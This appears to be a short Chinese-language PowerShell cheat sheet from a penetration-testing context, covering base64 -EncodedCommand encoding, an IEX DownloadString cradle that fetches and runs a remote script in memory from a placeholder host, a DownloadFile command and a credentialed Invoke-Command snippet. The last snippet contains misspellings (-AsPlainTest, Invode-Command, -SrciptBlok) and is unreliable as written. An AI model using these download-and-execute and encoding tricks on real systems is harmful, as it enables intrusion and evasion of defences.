Powershell EncodeCommand

由于Powershell中存在单双引号,然而有些时候在应用的时,难免会遇到多个单双引号嵌套[比如在Web中],就涉及到转义的问题。好在Powershell支持Base64编码后的指令使用 -e 或者-Encodedcommand指明后面的指令为编码后的即可。 [toc] [begin]但是![/begin] Poershell的Base64用的是utf 16 little endian编码格式,所以我们在执行Base64编码前需要先将命令重新进行编码

1
2
3
~ root@kali
❯ echo "ping 127.0.0.1" | iconv -t utf-16le | base64
cABpAG4AZwAgADEAMgA3AC4AMAAuADAALgAxAAoA

编码完成后就能避免在应用中由于单双引号而引起的种种问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\Users\Anonymous> powershell.exe -e cABpAG4AZwAgADEAMgA3AC4AMAAuADAALgAxAAoA

正在 Ping 127.0.0.1 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64

127.0.0.1 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms
PS C:\Users\Anonymous>

Powershell DownloadString

这里downloadstring的意思大概为下载数据流,使用IEX执行。 比如下载ps1脚本时会执行一次该脚本,并不会保留在电脑上。

1
2
#这里 -command和-c都行
powershell.exe -command IEX(New-Object Net.webclient).DownloadString('http://IP/xxx')

Powershell DownloadFile

DownloadFile顾名思义。

1
2
powershell.exe -command (New-Object Net.WebClient).DownloadFile('http://IP:PORT/Flies', 'Flies')

Run command as another user

1
2
3
$pass = ConvertTo-SecureString "<---PASSWORD HERE--->" -AsPlainTest -Force
$cred = New-Object System.Management.Automation.PSCredential("<--FUll USERNAME[with"\\"]-->",$pass)
Invode-Command -ComputerName <--Computername--> -Credential $cred -SrciptBlok {<--CMD YOU WANT-->}